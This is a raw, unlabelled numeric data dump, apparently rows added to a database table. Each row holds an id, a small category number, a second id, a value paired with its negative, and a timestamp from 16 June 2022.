+7735,4,4984,12.12937683,-12.12937683,2022-06-16 09:45:22.921792+00 +7736,2,5226,15.05167867,-15.05167867,2022-06-16 09:45:28.113193+00 +7737,1,5216,11.20826813,-11.20826813,2022-06-16 09:45:28.472422+00 +7070,4,4758,16.72845143,-16.72845143,2022-06-16 09:38:15.168272+00 +7071,4,4822,16.64870727,-16.64870727,2022-06-16 09:38:15.169581+00 +7072,4,4886,16.56934763,-16.56934763,2022-06-16 09:38:15.170473+00 +7073,4,5078,16.49037347,-16.49037347,2022-06-16 09:38:15.17154+00 +7074,4,4759,16.72950244,-16.72950244,2022-06-16 09:38:15.173058+00 +7075,4,4823,16.64975643,-16.64975643,2022-06-16 09:38:15.173933+00 +7076,4,4887,16.5703949,-16.5703949,2022-06-16 09:38:15.174698+00 +7077,1,5101,14.24555195,-14.24555195,2022-06-16 09:38:16.434215+00 +7078,1,5085,14.33661391,-14.33661391,2022-06-16 09:38:16.437502+00 +7079,1,5117,14.17857569,-14.17857569,2022-06-16 09:38:16.438373+00 +22536,4,8682,12.6301882,-12.6301882,2022-06-16 11:34:55.152246+00 +7081,4,4926,16.64875809,-16.64875809,2022-06-16 09:38:17.934953+00 +7082,4,4990,16.56979952,-16.56979952,2022-06-16 09:38:17.938288+00 +7083,4,4862,16.49122253,-16.49122253,2022-06-16 09:38:17.940319+00 +7084,4,4799,16.64836579,-16.64836579,2022-06-16 09:38:17.941436+00 +7085,4,4863,16.56927742,-16.56927742,2022-06-16 09:38:17.942277+00 +7086,4,4991,16.49057192,-16.49057192,2022-06-16 09:38:17.943126+00 +7087,4,5086,16.38239526,-16.38239526,2022-06-16 09:38:17.944865+00 +7088,4,4766,16.30468406,-16.30468406,2022-06-16 09:38:17.946091+00 +7089,4,4830,16.22735751,-16.22735751,2022-06-16 09:38:17.946871+00 +7090,4,4894,16.15041616,-16.15041616,2022-06-16 09:38:17.947649+00 +7091,4,4958,16.07386053,-16.07386053,2022-06-16 09:38:17.948431+00 +7092,4,5022,15.99769103,-15.99769103,2022-06-16 09:38:17.949184+00 +7093,4,4767,16.42212346,-16.42212346,2022-06-16 09:38:17.950479+00 +7094,4,4831,16.34415396,-16.34415396,2022-06-16 09:38:17.95123+00 +7095,4,4895,16.26656939,-16.26656939,2022-06-16 09:38:17.952003+00 +7096,4,4959,16.18937036,-16.18937036,2022-06-16 09:38:17.953382+00 +7097,4,5023,16.11255741,-16.11255741,2022-06-16 09:38:17.954136+00 +8762,4,5744,2.616274946,-2.616274946,2022-06-16 10:00:05.222711+00 +7099,4,5051,7.909599672,-7.909599672,2022-06-16 09:38:21.415699+00 +7100,4,5019,7.766044152,-7.766044152,2022-06-16 09:38:21.418971+00 +7101,4,5035,8.003464576,-8.003464576,2022-06-16 09:38:21.419865+00 +7102,1,4952,16.43104512,-16.43104512,2022-06-16 09:38:22.434561+00 +7103,1,5019,9.944921475,-9.944921475,2022-06-16 09:38:28.431965+00 +7104,1,5035,10.21706145,-10.21706145,2022-06-16 09:38:28.435886+00 +7105,1,5079,14.67607791,-14.67607791,2022-06-16 09:38:28.436802+00 +7106,1,5086,14.52462456,-14.52462456,2022-06-16 09:38:28.437592+00 +7107,1,5087,14.49959496,-14.49959496,2022-06-16 09:38:28.438537+00 +7108,1,5078,14.63650081,-14.63650081,2022-06-16 09:38:28.439372+00 +7109,1,5051,10.06441958,-10.06441958,2022-06-16 09:38:28.440365+00 +7110,2,5114,15.9588945,-15.9588945,2022-06-16 09:38:31.336592+00 +7958,1,5355,9.531761867,-9.531761867,2022-06-16 09:48:28.538018+00 +7204,1,5046,14.53132958,-14.53132958,2022-06-16 09:39:22.420348+00 +7205,1,5119,14.61285698,-14.61285698,2022-06-16 09:39:22.425837+00 +7959,1,5371,9.30608786,-9.30608786,2022-06-16 09:48:28.541392+00 +7115,6,5019,10.20964092,-10.20964092,2022-06-16 09:38:31.704716+00 +8763,4,5760,4.037587648,-4.037587648,2022-06-16 10:00:05.22612+00 +7251,4,5143,15.84894923,-15.84894923,2022-06-16 09:40:10.412191+00 +22537,4,8746,12.56837879,-12.56837879,2022-06-16 11:34:55.152993+00 +7289,6,5104,5.269602949,-5.269602949,2022-06-16 09:40:31.312994+00 +7120,6,5035,10.48485605,-10.48485605,2022-06-16 09:38:31.953665+00 +10624,2,6328,16.02916617,-16.02916617,2022-06-16 10:18:09.441701+00 +7316,1,5088,11.25649077,-11.25649077,2022-06-16 09:40:52.494855+00 +16584,4,7675,4.351444696,-4.351444696,2022-06-16 11:00:20.233368+00 +7340,1,5165,13.99020961,-13.99020961,2022-06-16 09:41:01.459307+00 +7125,6,5051,10.32942451,-10.32942451,2022-06-16 09:38:32.201122+00 +7126,7,4874,16.21209766,-16.21209766,2022-06-16 09:38:32.241666+00 +8831,6,5755,8.841053113,-8.841053113,2022-06-16 10:01:01.324164+00 +9778,2,6122,12.83957714,-12.83957714,2022-06-16 10:11:03.157709+00 +7369,4,4888,11.61800279,-11.61800279,2022-06-16 09:41:25.137225+00 +13912,4,6872,11.2067215,-11.2067215,2022-06-16 10:41:28.915547+00 +10668,1,6320,3.091363645,-3.091363645,2022-06-16 10:18:22.581776+00 +7399,3,4970,16.30817271,-16.30817271,2022-06-16 09:41:54.280726+00 +7400,3,5098,16.23152347,-16.23152347,2022-06-16 09:41:54.284083+00 +10669,1,6336,5.96630753,-5.96630753,2022-06-16 10:18:22.585109+00 +8119,7,5258,15.61070801,-15.61070801,2022-06-16 09:50:46.707636+00 +8133,6,5440,6.84696478,-6.84696478,2022-06-16 09:51:00.43803+00 +10701,6,6315,8.367139536,-8.367139536,2022-06-16 10:19:04.366492+00 +11695,4,6291,11.81198112,-11.81198112,2022-06-16 10:26:28.764127+00 +7462,4,5150,15.55775514,-15.55775514,2022-06-16 09:42:15.587866+00 +7463,4,5214,15.48461511,-15.48461511,2022-06-16 09:42:15.592128+00 +7464,4,5215,15.4857263,-15.4857263,2022-06-16 09:42:15.593087+00 +8945,1,5803,8.726526548,-8.726526548,2022-06-16 10:02:16.5707+00 +8946,1,5879,13.76271481,-13.76271481,2022-06-16 10:02:16.573971+00 +8202,1,5352,21.23280048,-21.23280048,2022-06-16 09:51:50.374917+00 +8212,4,5488,2.813097725,-2.813097725,2022-06-16 09:52:06.150007+00 +7513,7,4906,16.3651539,-16.3651539,2022-06-16 09:42:59.690354+00 +8213,4,5504,4.247691329,-4.247691329,2022-06-16 09:52:06.153303+00 +8947,1,5878,13.74878736,-13.74878736,2022-06-16 10:02:16.574909+00 +8948,1,5720,15.52929051,-15.52929051,2022-06-16 10:02:16.575732+00 +7537,2,5179,11.74037251,-11.74037251,2022-06-16 09:43:14.558441+00 +8949,1,5854,12.71292195,-12.71292195,2022-06-16 10:02:16.576559+00 +8950,1,5819,8.519504579,-8.519504579,2022-06-16 10:02:16.57738+00 +8951,1,5855,12.66147467,-12.66147467,2022-06-16 10:02:16.578203+00 +8269,2,5504,7.099911935,-7.099911935,2022-06-16 09:53:04.575732+00 +7558,7,4970,16.28787586,-16.28787586,2022-06-16 09:43:22.150505+00 +8277,2,5483,11.22823753,-11.22823753,2022-06-16 09:53:14.432553+00 +8968,2,5866,13.41057067,-13.41057067,2022-06-16 10:02:40.562105+00 +9889,1,6205,11.79834109,-11.79834109,2022-06-16 10:12:13.55372+00 +9890,1,6189,11.77385055,-11.77385055,2022-06-16 10:12:13.556975+00 +10742,6,6366,14.37417871,-14.37417871,2022-06-16 10:19:14.139924+00 +7591,3,5130,15.43258173,-15.43258173,2022-06-16 09:43:59.377987+00 +7592,3,5162,15.77375829,-15.77375829,2022-06-16 09:43:59.381193+00 +8303,6,5565,9.043359364,-9.043359364,2022-06-16 09:53:40.963985+00 +8309,3,5498,15.80163674,-15.80163674,2022-06-16 09:53:44.807363+00 +8310,3,5482,14.77214316,-14.77214316,2022-06-16 09:53:44.808699+00 +8311,3,5450,14.3668022,-14.3668022,2022-06-16 09:53:44.809621+00 +9017,2,5808,4.597347637,-4.597347637,2022-06-16 10:03:04.435066+00 +11696,4,6355,11.76789532,-11.76789532,2022-06-16 10:26:28.767567+00 +7623,4,5229,10.7384648,-10.7384648,2022-06-16 09:44:07.581083+00 +7624,4,5245,10.74091168,-10.74091168,2022-06-16 09:44:07.584491+00 +9938,4,6007,15.10343412,-15.10343412,2022-06-16 10:12:24.648276+00 +11697,4,6419,11.72403825,-11.72403825,2022-06-16 10:26:28.768496+00 +9063,4,5720,11.39692268,-11.39692268,2022-06-16 10:03:22.859316+00 +7638,4,5311,15.63442744,-15.63442744,2022-06-16 09:44:15.740219+00 +7639,4,5278,15.37760231,-15.37760231,2022-06-16 09:44:15.741463+00 +7640,4,5279,15.34317672,-15.34317672,2022-06-16 09:44:15.742292+00 +11698,4,6483,11.6804088,-11.6804088,2022-06-16 10:26:28.769299+00 +11699,4,6547,11.63700589,-11.63700589,2022-06-16 10:26:28.770121+00 +7654,6,5243,9.82902214,-9.82902214,2022-06-16 09:44:26.977077+00 +15155,6,7405,6.254939537,-6.254939537,2022-06-16 10:50:26.872131+00 +13965,6,7104,7.204813111,-7.204813111,2022-06-16 10:42:04.178578+00 +8370,1,5613,12.97728374,-12.97728374,2022-06-16 09:54:46.546288+00 +8371,1,5629,12.94832102,-12.94832102,2022-06-16 09:54:46.549889+00 +8376,6,5613,8.960101721,-8.960101721,2022-06-16 09:54:50.243508+00 +8381,6,5629,8.946143957,-8.946143957,2022-06-16 09:54:52.33597+00 +10837,4,6462,14.14293521,-14.14293521,2022-06-16 10:20:11.397647+00 +7687,2,5248,7.218626136,-7.218626136,2022-06-16 09:45:04.560776+00 +8388,6,5552,4.613779972,-4.613779972,2022-06-16 09:54:54.873657+00 +7693,3,5296,8.82148718,-8.82148718,2022-06-16 09:45:06.240601+00 +9677,6,6061,8.315992492,-8.315992492,2022-06-16 10:09:56.485142+00 +22538,1,8736,7.300405461,-7.300405461,2022-06-16 11:35:02.062619+00 +22539,1,8728,11.0213745,-11.0213745,2022-06-16 11:35:02.065916+00 +10625,4,6303,12.5511223,-12.5511223,2022-06-16 10:18:10.498198+00 +8832,1,5728,10.40845463,-10.40845463,2022-06-16 10:01:01.551275+00 +10626,4,6398,14.20819499,-14.20819499,2022-06-16 10:18:10.501691+00 +8869,2,5755,10.4286397,-10.4286397,2022-06-16 10:01:14.547684+00 +10627,4,6399,13.82141311,-13.82141311,2022-06-16 10:18:10.502635+00 +8056,4,5424,2.843343143,-2.843343143,2022-06-16 09:50:06.443972+00 +8057,4,5440,4.196263499,-4.196263499,2022-06-16 09:50:06.448217+00 +8071,6,5501,9.170991503,-9.170991503,2022-06-16 09:50:11.212328+00 +8077,1,5501,13.23965721,-13.23965721,2022-06-16 09:50:13.513454+00 +8078,1,5485,13.21073755,-13.21073755,2022-06-16 09:50:13.514952+00 +9817,2,6075,9.790054035,-9.790054035,2022-06-16 10:11:14.544822+00 +8097,4,5419,7.362734215,-7.362734215,2022-06-16 09:50:21.663109+00 +8098,4,5435,7.177693746,-7.177693746,2022-06-16 09:50:21.664371+00 +7754,3,5194,15.32389751,-15.32389751,2022-06-16 09:46:04.474307+00 +13888,2,7035,8.775121609,-8.775121609,2022-06-16 10:41:14.642509+00 +8120,1,5440,6.855200937,-6.855200937,2022-06-16 09:50:52.546158+00 +8121,1,5424,4.657480372,-4.657480372,2022-06-16 09:50:52.549409+00 +7758,4,5312,4.214755783,-4.214755783,2022-06-16 09:46:05.765191+00 +7759,4,5296,3.017864048,-3.017864048,2022-06-16 09:46:05.768856+00 +7760,4,5309,10.64202851,-10.64202851,2022-06-16 09:46:08.527028+00 +7761,4,5293,10.62365203,-10.62365203,2022-06-16 09:46:08.530821+00 +7762,3,5226,15.5925305,-15.5925305,2022-06-16 09:46:09.487189+00 +7763,3,5242,16.14942929,-16.14942929,2022-06-16 09:46:09.491239+00 +8930,4,5808,2.577904429,-2.577904429,2022-06-16 10:02:05.702814+00 +8931,4,5824,3.995265084,-3.995265084,2022-06-16 10:02:05.706249+00 +8952,4,5878,15.13631248,-15.13631248,2022-06-16 10:02:17.48375+00 +8953,4,5879,15.14311168,-15.14311168,2022-06-16 10:02:17.487112+00 +8954,4,5854,14.06646943,-14.06646943,2022-06-16 10:02:17.487996+00 +8955,4,5855,14.00600701,-14.00600701,2022-06-16 10:02:17.488859+00 +8969,7,5738,15.22416892,-15.22416892,2022-06-16 10:02:40.593599+00 +8214,1,5483,9.304495714,-9.304495714,2022-06-16 09:52:07.547146+00 +7772,1,5296,5.05272667,-5.05272667,2022-06-16 09:46:16.496658+00 +7773,1,5312,6.862199287,-6.862199287,2022-06-16 09:46:16.500012+00 +8215,1,5499,9.083940847,-9.083940847,2022-06-16 09:52:07.551193+00 +9836,6,6111,14.79661986,-14.79661986,2022-06-16 10:11:27.356779+00 +9004,2,5882,14.89607964,-14.89607964,2022-06-16 10:02:58.615587+00 +9010,1,5869,12.37633994,-12.37633994,2022-06-16 10:03:01.526932+00 +7778,2,5322,14.64426384,-14.64426384,2022-06-16 09:46:25.760295+00 +7779,1,5373,13.55825472,-13.55825472,2022-06-16 09:46:31.493577+00 +7780,1,5357,13.52844582,-13.52844582,2022-06-16 09:46:31.496867+00 +16585,4,7635,10.37371064,-10.37371064,2022-06-16 11:00:27.495033+00 +11700,1,6576,2.722211252,-2.722211252,2022-06-16 10:26:37.661234+00 +8270,1,5534,13.500355,-13.500355,2022-06-16 09:53:07.542912+00 +8271,1,5535,13.47518805,-13.47518805,2022-06-16 09:53:07.546395+00 +7785,6,5357,9.35946274,-9.35946274,2022-06-16 09:46:32.723635+00 +11701,1,6592,5.6234608,-5.6234608,2022-06-16 10:26:37.664561+00 +8286,4,5432,12.11395322,-12.11395322,2022-06-16 09:53:20.822279+00 +15156,4,7315,10.71577731,-10.71577731,2022-06-16 10:50:27.767891+00 +8298,6,5549,9.057711701,-9.057711701,2022-06-16 09:53:38.805316+00 +7790,6,5296,4.992650263,-4.992650263,2022-06-16 09:46:33.93489+00 +15201,3,7166,17.5771756,-17.5771756,2022-06-16 10:51:02.896395+00 +9940,1,5905,15.8269706,-15.8269706,2022-06-16 10:12:31.554544+00 +9941,1,5929,15.7146769,-15.7146769,2022-06-16 10:12:31.557827+00 +9942,1,5945,15.67948574,-15.67948574,2022-06-16 10:12:31.558729+00 +7795,6,5373,9.344077962,-9.344077962,2022-06-16 09:46:35.006515+00 +9943,1,5913,15.64406232,-15.64406232,2022-06-16 10:12:31.559518+00 +9944,1,5921,15.68528727,-15.68528727,2022-06-16 10:12:31.560289+00 +15202,3,7230,17.47736735,-17.47736735,2022-06-16 10:51:02.899279+00 +14011,4,7104,3.573748031,-3.573748031,2022-06-16 10:42:07.197044+00 +9145,4,5679,15.7190574,-15.7190574,2022-06-16 10:04:14.216797+00 +8364,4,5563,7.021053185,-7.021053185,2022-06-16 09:54:20.624142+00 +8365,4,5547,7.183630016,-7.183630016,2022-06-16 09:54:20.627484+00 +15203,3,7294,17.37808997,-17.37808997,2022-06-16 10:51:02.900164+00 +9166,2,5898,13.07182639,-13.07182639,2022-06-16 10:04:48.220375+00 +7805,6,5312,6.784679632,-6.784679632,2022-06-16 09:46:35.382712+00 +7806,2,5370,15.50169849,-15.50169849,2022-06-16 09:46:36.298878+00 +7807,1,5291,9.675512881,-9.675512881,2022-06-16 09:46:37.465829+00 +7808,1,5307,9.446355006,-9.446355006,2022-06-16 09:46:37.469432+00 +7809,1,5343,13.91194802,-13.91194802,2022-06-16 09:46:43.466725+00 +7810,1,5342,13.97118603,-13.97118603,2022-06-16 09:46:43.469998+00 +7811,1,5335,14.0608073,-14.0608073,2022-06-16 09:46:43.470924+00 +7812,1,5334,14.11877811,-14.11877811,2022-06-16 09:46:43.471744+00 +8382,1,5563,8.965368927,-8.965368927,2022-06-16 09:54:52.543699+00 +8383,1,5547,9.152998744,-9.152998744,2022-06-16 09:54:52.546999+00 +8389,2,5626,15.25470526,-15.25470526,2022-06-16 09:54:58.038345+00 +8390,1,5598,13.37016855,-13.37016855,2022-06-16 09:54:58.523285+00 +8391,1,5599,13.34554882,-13.34554882,2022-06-16 09:54:58.527033+00 +7818,6,5291,9.92897804,-9.92897804,2022-06-16 09:46:49.367162+00 +10000,2,6175,14.0359536,-14.0359536,2022-06-16 10:13:04.740929+00 +11822,6,6623,13.99575619,-13.99575619,2022-06-16 10:27:23.247772+00 +15204,3,7103,17.75819639,-17.75819639,2022-06-16 10:51:02.901097+00 +10838,4,6463,13.75817237,-13.75817237,2022-06-16 10:20:11.400812+00 +7823,6,5307,9.695836152,-9.695836152,2022-06-16 09:46:49.606211+00 +7824,2,5354,14.87884086,-14.87884086,2022-06-16 09:47:03.529321+00 +8412,4,5472,7.192592394,-7.192592394,2022-06-16 09:55:06.368359+00 +8413,2,5610,14.01418615,-14.01418615,2022-06-16 09:55:09.814818+00 +10839,4,6454,14.74812326,-14.74812326,2022-06-16 10:20:11.401697+00 +10044,4,6040,11.23333885,-11.23333885,2022-06-16 10:13:23.157241+00 +7829,2,5296,5.273208942,-5.273208942,2022-06-16 09:47:04.431999+00 +10840,4,6366,12.32760254,-12.32760254,2022-06-16 10:20:11.402562+00 +10841,4,6430,12.27119892,-12.27119892,2022-06-16 10:20:11.403504+00 +10842,4,6367,12.33862265,-12.33862265,2022-06-16 10:20:11.404356+00 +10843,4,6431,12.28240155,-12.28240155,2022-06-16 10:20:11.405213+00 +7834,2,5312,7.139005612,-7.139005612,2022-06-16 09:47:04.536829+00 +7835,7,5290,16.17739149,-16.17739149,2022-06-16 09:47:06.384509+00 +8438,6,5568,6.73738246,-6.73738246,2022-06-16 09:55:27.976659+00 +12886,4,6835,12.84187852,-12.84187852,2022-06-16 10:34:20.381668+00 +10864,1,6379,7.270202795,-7.270202795,2022-06-16 10:20:19.587889+00 +10865,1,6387,15.37760527,-15.37760527,2022-06-16 10:20:19.589013+00 +10866,1,6395,7.075285414,-7.075285414,2022-06-16 10:20:19.589808+00 +7841,3,5360,8.744694872,-8.744694872,2022-06-16 09:47:12.85157+00 +10867,1,6363,8.261207296,-8.261207296,2022-06-16 10:20:19.590545+00 +10143,6,6208,7.411738855,-7.411738855,2022-06-16 10:14:15.885897+00 +7844,7,5168,13.64465474,-13.64465474,2022-06-16 09:47:12.910434+00 +7845,7,5232,13.53495369,-13.53495369,2022-06-16 09:47:12.91374+00 +7846,7,5296,13.42624747,-13.42624747,2022-06-16 09:47:12.91463+00 +7847,7,5360,13.31852856,-13.31852856,2022-06-16 09:47:12.915512+00 +10153,4,6203,6.097265558,-6.097265558,2022-06-16 10:14:20.616332+00 +10154,4,6187,6.222586404,-6.222586404,2022-06-16 10:14:20.619734+00 +12887,4,6827,5.385664892,-5.385664892,2022-06-16 10:34:20.384912+00 +9308,4,5933,9.54971424,-9.54971424,2022-06-16 10:06:08.141142+00 +9309,4,5949,9.53396841,-9.53396841,2022-06-16 10:06:08.144616+00 +7853,1,5280,11.15950403,-11.15950403,2022-06-16 09:47:13.54266+00 +10165,2,6189,12.37483372,-12.37483372,2022-06-16 10:14:24.435468+00 +12888,4,6795,15.1078362,-15.1078362,2022-06-16 10:34:20.385721+00 +8486,6,5611,9.327892616,-9.327892616,2022-06-16 09:56:18.176438+00 +9327,4,5931,6.645458693,-6.645458693,2022-06-16 10:06:20.163353+00 +7858,2,5291,11.69271859,-11.69271859,2022-06-16 09:47:14.450337+00 +19353,2,8192,5.778684947,-5.778684947,2022-06-16 11:17:04.556365+00 +34413,1,10491,3.371325889,-3.371325889,2022-06-16 12:28:53.325545+00 +7961,1,5406,13.77674161,-13.77674161,2022-06-16 09:48:31.536329+00 +7962,1,5407,13.71918528,-13.71918528,2022-06-16 09:48:31.540676+00 +7863,2,5307,11.43323884,-11.43323884,2022-06-16 09:47:14.567179+00 +7963,1,5438,14.25023917,-14.25023917,2022-06-16 09:48:31.541547+00 +7964,1,5439,14.01086037,-14.01086037,2022-06-16 09:48:31.542349+00 +9727,6,6046,14.9675341,-14.9675341,2022-06-16 10:10:16.557177+00 +16586,4,7512,10.69279325,-10.69279325,2022-06-16 11:00:30.781732+00 +8833,2,5818,14.95624414,-14.95624414,2022-06-16 10:01:02.395806+00 +10650,6,6336,7.728775722,-7.728775722,2022-06-16 10:18:14.847469+00 +11661,6,6592,7.654487004,-7.654487004,2022-06-16 10:26:16.494487+00 +9801,1,6072,15.09249666,-15.09249666,2022-06-16 10:11:07.556026+00 +8903,3,5808,7.98347123,-7.98347123,2022-06-16 10:01:57.071772+00 +8087,4,5470,14.95760766,-14.95760766,2022-06-16 09:50:16.390753+00 +7874,7,5226,16.10023607,-16.10023607,2022-06-16 09:47:26.123361+00 +9818,2,6138,14.62077504,-14.62077504,2022-06-16 10:11:16.431865+00 +7876,1,5374,14.34346363,-14.34346363,2022-06-16 09:47:37.544955+00 +7877,1,5375,14.10259483,-14.10259483,2022-06-16 09:47:37.548228+00 +8109,1,5470,13.59001125,-13.59001125,2022-06-16 09:50:22.519119+00 +8110,1,5471,13.59958805,-13.59958805,2022-06-16 09:50:22.520458+00 +8122,4,5344,7.213319857,-7.213319857,2022-06-16 09:50:54.557505+00 +8932,1,5885,12.45099226,-12.45099226,2022-06-16 10:02:07.555077+00 +8933,1,5592,15.65809928,-15.65809928,2022-06-16 10:02:07.558691+00 +8956,4,5803,6.815864676,-6.815864676,2022-06-16 10:02:22.279961+00 +11672,4,6323,13.63721076,-13.63721076,2022-06-16 10:26:20.400296+00 +11673,4,6387,13.58512487,-13.58512487,2022-06-16 10:26:20.401548+00 +11674,4,6451,13.53329257,-13.53329257,2022-06-16 10:26:20.402355+00 +11675,4,6515,13.48171312,-13.48171312,2022-06-16 10:26:20.403224+00 +8216,4,5501,10.29750466,-10.29750466,2022-06-16 09:52:08.691666+00 +8217,4,5485,10.28006559,-10.28006559,2022-06-16 09:52:08.695371+00 +8226,4,5471,14.85780337,-14.85780337,2022-06-16 09:52:16.060586+00 +9033,2,5855,15.31080779,-15.31080779,2022-06-16 10:03:04.804486+00 +10781,1,6296,14.89525175,-14.89525175,2022-06-16 10:19:28.590976+00 +8254,6,5499,9.307179865,-9.307179865,2022-06-16 09:52:44.078129+00 +10782,1,6328,14.07379733,-14.07379733,2022-06-16 10:19:28.594354+00 +8272,4,5368,12.15709365,-12.15709365,2022-06-16 09:53:13.76798+00 +9945,2,6186,12.65734531,-12.65734531,2022-06-16 10:12:37.045051+00 +11676,4,6579,13.43038572,-13.43038572,2022-06-16 10:26:20.404037+00 +11677,4,6571,5.873426455,-5.873426455,2022-06-16 10:26:20.404863+00 +15158,7,7306,13.19382229,-13.19382229,2022-06-16 10:50:28.834908+00 +10844,4,6381,8.651187519,-8.651187519,2022-06-16 10:20:12.823221+00 +10845,4,6397,8.63988873,-8.63988873,2022-06-16 10:20:12.826474+00 +15205,3,7167,17.65662505,-17.65662505,2022-06-16 10:51:02.901895+00 +10868,4,6379,6.110425074,-6.110425074,2022-06-16 10:20:22.722113+00 +11758,2,6639,15.48189884,-15.48189884,2022-06-16 10:27:04.890258+00 +15206,3,7231,17.55558836,-17.55558836,2022-06-16 10:51:02.902706+00 +8344,4,5552,2.770990239,-2.770990239,2022-06-16 09:54:06.21708+00 +8345,4,5568,4.183622769,-4.183622769,2022-06-16 09:54:06.221055+00 +10908,6,6384,4.097808287,-4.097808287,2022-06-16 10:20:35.35903+00 +9167,1,5933,12.26983854,-12.26983854,2022-06-16 10:04:52.561001+00 +8366,1,5552,4.435158969,-4.435158969,2022-06-16 09:54:31.546294+00 +8367,1,5568,6.512809939,-6.512809939,2022-06-16 09:54:31.549973+00 +9168,1,5949,12.24377774,-12.24377774,2022-06-16 10:04:52.564313+00 +11776,2,6654,14.14261521,-14.14261521,2022-06-16 10:27:05.325943+00 +10925,6,6445,7.586558265,-7.586558265,2022-06-16 10:20:43.689107+00 +15207,3,7295,17.45508926,-17.45508926,2022-06-16 10:51:02.903547+00 +8396,2,5552,4.814188317,-4.814188317,2022-06-16 09:55:04.419192+00 +11794,2,6587,9.235806261,-9.235806261,2022-06-16 10:27:14.546769+00 +8401,2,5568,7.039623603,-7.039623603,2022-06-16 09:55:04.539003+00 +10120,4,6238,12.88931705,-12.88931705,2022-06-16 10:14:09.568863+00 +10121,4,6239,12.86472715,-12.86472715,2022-06-16 10:14:09.572086+00 +15208,3,7359,17.35513049,-17.35513049,2022-06-16 10:51:02.904216+00 +8418,2,5547,11.08478478,-11.08478478,2022-06-16 09:55:14.427015+00 +15209,3,7423,17.25571459,-17.25571459,2022-06-16 10:51:02.904864+00 +8423,2,5563,10.83723393,-10.83723393,2022-06-16 09:55:14.535432+00 +8426,2,5578,13.72942237,-13.72942237,2022-06-16 09:55:17.765578+00 +14070,2,7101,9.85303631,-9.85303631,2022-06-16 10:42:24.45552+00 +12889,4,6811,6.415253927,-6.415253927,2022-06-16 10:34:20.386588+00 +10999,4,6104,11.18364978,-11.18364978,2022-06-16 10:21:25.212764+00 +12890,4,6843,5.232435395,-5.232435395,2022-06-16 10:34:20.387555+00 +14099,1,7080,19.49816277,-19.49816277,2022-06-16 10:42:43.776062+00 +8442,3,5562,15.73828286,-15.73828286,2022-06-16 09:55:44.92817+00 +8443,3,5514,14.2318876,-14.2318876,2022-06-16 09:55:44.931452+00 +8444,3,5546,14.45759846,-14.45759846,2022-06-16 09:55:44.932354+00 +10189,1,6200,14.48567592,-14.48567592,2022-06-16 10:14:52.555665+00 +12928,6,6909,6.910891904,-6.910891904,2022-06-16 10:35:02.347775+00 +14100,1,7072,8.954021864,-8.954021864,2022-06-16 10:42:43.779407+00 +39595,1,11355,6.723839325,-6.723839325,2022-06-16 12:56:53.486088+00 +12982,2,6911,12.70942392,-12.70942392,2022-06-16 10:35:05.458957+00 +12983,2,6886,17.3973832,-17.3973832,2022-06-16 10:35:05.462198+00 +9310,4,5688,11.86116778,-11.86116778,2022-06-16 10:06:13.904094+00 +8469,6,5616,4.574030256,-4.574030256,2022-06-16 09:56:09.003601+00 +19443,6,8254,12.19012961,-12.19012961,2022-06-16 11:17:10.662682+00 +10248,2,6187,9.751231556,-9.751231556,2022-06-16 10:15:14.580462+00 +8480,4,5662,14.65072015,-14.65072015,2022-06-16 09:56:17.521906+00 +8481,4,5663,14.58573816,-14.58573816,2022-06-16 09:56:17.525203+00 +9328,4,5947,6.479806398,-6.479806398,2022-06-16 10:06:21.438581+00 +30166,6,9776,1.805018834,0,2022-06-16 12:06:27.806243+00 +13019,4,6584,10.49247182,-10.49247182,2022-06-16 10:35:24.294773+00 +9341,6,6013,8.417703521,-8.417703521,2022-06-16 10:06:30.31346+00 +8491,6,5627,9.108360261,-9.108360261,2022-06-16 09:56:18.401557+00 +8492,1,5632,6.434830124,-6.434830124,2022-06-16 09:56:22.551456+00 +8493,1,5616,4.361109737,-4.361109737,2022-06-16 09:56:22.554805+00 +8494,4,5627,6.91281255,-6.91281255,2022-06-16 09:56:23.062174+00 +8495,4,5611,7.072892436,-7.072892436,2022-06-16 09:56:24.346665+00 +8496,2,5690,15.08905727,-15.08905727,2022-06-16 09:56:25.084342+00 +8497,4,5624,12.10173239,-12.10173239,2022-06-16 09:56:31.208026+00 +21122,1,8504,10.44770367,-10.44770367,2022-06-16 11:27:53.007851+00 +9363,6,5822,16.69303833,-16.69303833,2022-06-16 10:06:46.176076+00 +9364,6,6014,16.61197116,-16.61197116,2022-06-16 10:06:46.179424+00 +9365,6,5695,16.40315836,-16.40315836,2022-06-16 10:06:46.180628+00 +8502,1,5693,12.8362231,-12.8362231,2022-06-16 09:56:37.547221+00 +8503,1,5677,12.80853534,-12.80853534,2022-06-16 09:56:37.550546+00 +8504,2,5642,13.60077997,-13.60077997,2022-06-16 09:56:38.273529+00 +30234,2,9823,8.474465519,-8.474465519,2022-06-16 12:07:04.795279+00 +13057,4,6648,10.43221516,-10.43221516,2022-06-16 10:35:31.394455+00 +21200,7,8554,12.17299021,-12.17299021,2022-06-16 11:28:07.236262+00 +11127,2,6445,11.7033608,-11.7033608,2022-06-16 10:22:19.390891+00 +10301,1,6131,16.3166951,-16.3166951,2022-06-16 10:15:43.556183+00 +8510,1,5611,9.028375324,-9.028375324,2022-06-16 09:56:43.542006+00 +8511,1,5627,8.814350923,-8.814350923,2022-06-16 09:56:43.545294+00 +8512,1,5662,13.276045,-13.276045,2022-06-16 09:56:46.54408+00 +8513,1,5663,13.25178701,-13.25178701,2022-06-16 09:56:46.547382+00 +8514,1,5695,13.74582426,-13.74582426,2022-06-16 09:56:46.548198+00 +8515,1,5679,14.43650494,-14.43650494,2022-06-16 09:56:46.549033+00 +8516,2,5674,13.82560134,-13.82560134,2022-06-16 09:56:53.420051+00 +8517,4,5536,7.148505857,-7.148505857,2022-06-16 09:56:54.041085+00 +10302,1,6107,9.031038253,-9.031038253,2022-06-16 10:15:43.559708+00 +12647,2,6815,11.77709239,-11.77709239,2022-06-16 10:33:04.844733+00 +19355,2,8222,9.810543514,-9.810543514,2022-06-16 11:17:04.58232+00 +16536,6,7741,5.925345236,-5.925345236,2022-06-16 11:00:05.745154+00 +12711,6,6763,7.991121934,-7.991121934,2022-06-16 10:33:14.010569+00 +34414,7,10282,8.48775443,-8.48775443,2022-06-16 12:28:55.799031+00 +8853,2,5791,15.58487493,-15.58487493,2022-06-16 10:01:04.756777+00 +16587,1,7664,1.616180199,-1.616180199,2022-06-16 11:00:31.883547+00 +9819,7,5962,14.73098329,-14.73098329,2022-06-16 10:11:18.611351+00 +8885,1,5464,15.82098512,-15.82098512,2022-06-16 10:01:46.543316+00 +8904,1,5688,16.16147441,-16.16147441,2022-06-16 10:01:58.550985+00 +16588,1,7680,3.99842769,-3.99842769,2022-06-16 11:00:31.887002+00 +8934,4,5805,9.755752594,-9.755752594,2022-06-16 10:02:07.928622+00 